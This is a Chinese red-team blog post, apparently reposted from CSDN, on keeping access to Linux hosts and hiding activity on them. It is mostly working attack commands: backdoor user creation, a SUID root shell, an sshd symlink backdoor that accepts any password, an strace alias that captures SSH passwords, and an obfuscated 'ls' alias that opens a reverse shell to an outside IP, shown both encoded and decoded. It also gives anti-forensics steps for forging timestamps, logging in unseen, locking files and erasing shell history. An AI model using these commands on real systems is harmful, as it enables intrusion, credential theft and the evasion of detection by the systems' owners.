首页 > 系统相关 >连载|浅谈红队中的权限维持(六)-Linux 主机后门与Linux 隐藏文件

连载|浅谈红队中的权限维持(六)-Linux 主机后门与Linux 隐藏文件

时间:2024-08-02 09:24:58浏览次数:19  
标签:tmp 文件 红队 浅谈 evil shell ssh Linux txt

本文来源无问社区,更多实战内容,渗透思路可前往查看icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/11584.html

0x01 Linux 主机后门

1、添加用户

一句话添加用户

useradd test;echo -e "123456n123456n" |passwd test

或者使用 openssl

useradd -p openssl passwd-1-salt'salt'123456 guest

2、SUID Shell

SUID Shell 是一种可用于以拥有者权限运行的 shell。

以 root 用户权限执行下面的命令。

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

在使用普通用户权限的时候,执行以下命令就能获取 root 权限。

/tmp/shell -p

3、软链接

软链接的利用前提是 ssh 配置中开启了 PAM 进行身份验证,使用以下命令查看是否配置 PAM 认证。

cat /etc/ssh/sshd_config | grep UsePAM

在目标主机上执行一句话后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

然后直接 ssh root@IP -p 8888,输入任意密码,就可以登录。

4、strace 后门

执行以下命令

alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

这时当用户使用 ssh 连接其他主机时,在 /tmp/.ssh.log 下就能看到连接的密码、操作了,只是显示的不是很直观。

这个其实也可以说是 alias 后门,例如下面这条命令。

alias ls='alerts(){ ls $* --color=auto;python3 -c"import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk=''')))";};alerts'

上面的 base64 解码后为以下内容:

import os,socket,subprocess;

ret = os.fork()

if ret > 0:

exit()

else:

try:

s = socket.socket(socket.AFINET, socket.SOCKSTREAM)

s.connect(("192.168.241.128", 6666))

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

p = subprocess.call(["/bin/sh", "-i"])

except Exception as e:

exit()

这样当用户使用 ls 命令时,就会反弹 shell 回来了,当然除了反弹 shell 还可以做很多的其他操作。

除此之外,还有比较常见的定时任务、SSH 公钥登录以及 SSH warpper、openssh 后门、PAM 后门、rootkit 后门等等。

0x02 Linux 隐藏文件

1、隐藏文件时间戳

复制其他文件的时间

touch -r teamssix.txt evil.txt

自定义文件的时间,这里表示将时间改为 2022 年的 1 月 1 日 1 时 1 分 1 秒。

touch -t 202201010101.01 evil.txt

2、隐身登录

隐身登录系统,不会被 w、who、last 检测到

ssh -T root@host /bin/bash -i

隐身登录系统,同时不保存公钥在本地的 .ssh 目录中。

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

3、锁定文件

当文件被锁定时,是无法删除的

chattr +i evil.txt 锁定文件

lsattr evil.txt 属性查看

chattr -i evil.txt 解除锁定

rm -rf 1.evil.txt 删除文件

4、隐藏历史操作记录

临时禁用历史命令记录功能。

set +o history

注意在 set 命令前有一个空格

如果想某条命令不记录到 history 中,直接在命令前加上空格就行

或者先 grep 看下要删除的文件行,再 -d 指定行即可删除。

history | grep "key"

history -d 11

除此之外,还有在文件前加上 . 实现隐藏文件以及端口复用、进程隐藏等等方法。

标签:tmp,文件,红队,浅谈,evil,shell,ssh,Linux,txt
From: https://blog.csdn.net/wuwenshequ/article/details/140817056

相关文章

  • 如何在Linux上配置虚拟主机
    在Linux上配置虚拟主机可以通过使用ApacheHTTP服务器来实现。Apache是一个开源的跨平台的Web服务器软件,可以在多种操作系统上运行并支持虚拟主机的配置。以下是在Linux上配置虚拟主机的步骤:安装ApacheHTTP服务器在终端中运行以下命令来安装Apache:sudoapt-getupdatesu......
  • linux系统下find查找特定的文件或目录路径
    linux系统下find查找特定的文件或目录路径#find:可以实时查询,不需要更新数据库#在特定路径/下递归查询特定的目录名test相应的路径#特定路径支持绝对/相对路径,#如果输入的特定查找路径为绝对路径,那么输出的路径也是绝对路径#类似地,输入为相对路径,输出也为相对路径......
  • Linux系统编程-临时文件
    临时文件:1、如何不冲突  2、及时销毁创建临时文件有两种方法:1、tmpnam  2、tmpfiletmpnam函数tmpnam的用法为一个临时文件创建一个名字。该方法创建临时文件,需要两步:1、产生文件名字   2、创建文件。所以从并发的角度,可能有两个用户获取同一个文件名字,因此......
  • 学linux小记(1)
    1.SELinux上下文就是所谓的标签由SElinux分配2.setenforce0是更改SELinux的模式一般0是改到Permissive模式 1是改到enforcing 3.对于定义SELinux文件上下文规则时 采用semanagefcontext命令举例semanagefcontext-a-t你写的上下文  '/某个目录或文件+(/.......
  • Gromacs-2024.1 GPU版本编译,--以RockyLinux系统为例
    1、首先安装好gcc套件、gcc-toolset-9、cmake、nvidia_driver、cuda、openmpi等软件;2、解压gromacs的源码包;3、编译:a.节点内并行多线程版本,首先sclenablegcc-toolset-9bash加载gcc9以支持C++17特性,cdgromacs-2024.2&&mkdirbuild&&cmake…/-DGMX_BUILD_OWN_FF......
  • VMware虚拟机 Linux配置一切正常 但依然不能上网
    VMware虚拟机Linux配置一切正常但依然不能上网最近因为装了Linux真机,很久没有使用VMware,今天装了manjaro虚拟机体验体验,像往常一样配置好了静态IP,却发现无论如何都不能上网。排查后,发现ipa命令会输出下面的信息:2:ens33:<NO-CARRIER,BROADCAST,MULTICAST,UP>mtu1500qdi......
  • OracleLinux9安装GlusterFS nfs-Ganesha
    安装环境系统信息NAME="OracleLinuxServer"VERSION="9.4"ID="ol"ID_LIKE="fedora"VARIANT="Server"VARIANT_ID="server"VERSION_ID="9.4"PLATFORM_ID="platform:el9"PRETTY_NAME="......
  • Linux基础命令指南七(守护进程与网络服务)
    守护进程是在执行各种任务的后台等待或运行的进程。一般情况下,守护进程在系统引导时自动启动并持续到关机或者手动将它停止。按照惯例,守护进程名称以d结尾。 在红帽Linux中,系统第一个启动的进程是systemd守护进程,它会通过使用单元(用于定义系统知道如何管理的对象)来管理不同......
  • 【Linux应急响应—下 】一文解明Linux应急响应(hw蓝队兄弟看这里):主机资源异常如何排查?C
    Linux应急响应重要声明linux应急响应各项资源异常CPU排查内存网络带宽网络连接关闭进程Linux系统日志排查登入验证日志登入失败次数登入成功统计攻击者IP个数攻击次数排列,由高到低中间件日志nginxapachetomcat分析维度:上篇文章在此处:【Linux应急响应—上】一文......
  • Linux上WIFI作为发射端(AP端),如何查看已连接的设备信息
    通过如下两种方式只能获取MAC地址信息,需要确认当前环境设备的MAC信息,才能知道是谁连接上了;或者查看自己的手机或电脑MAC地址信息,确认是否是自己连接的1:使用iw指令iwdevwlan1stationdump#获取station的统计信息root@imx8qxpc0mek:~#iwdevwlan0stationdumpS......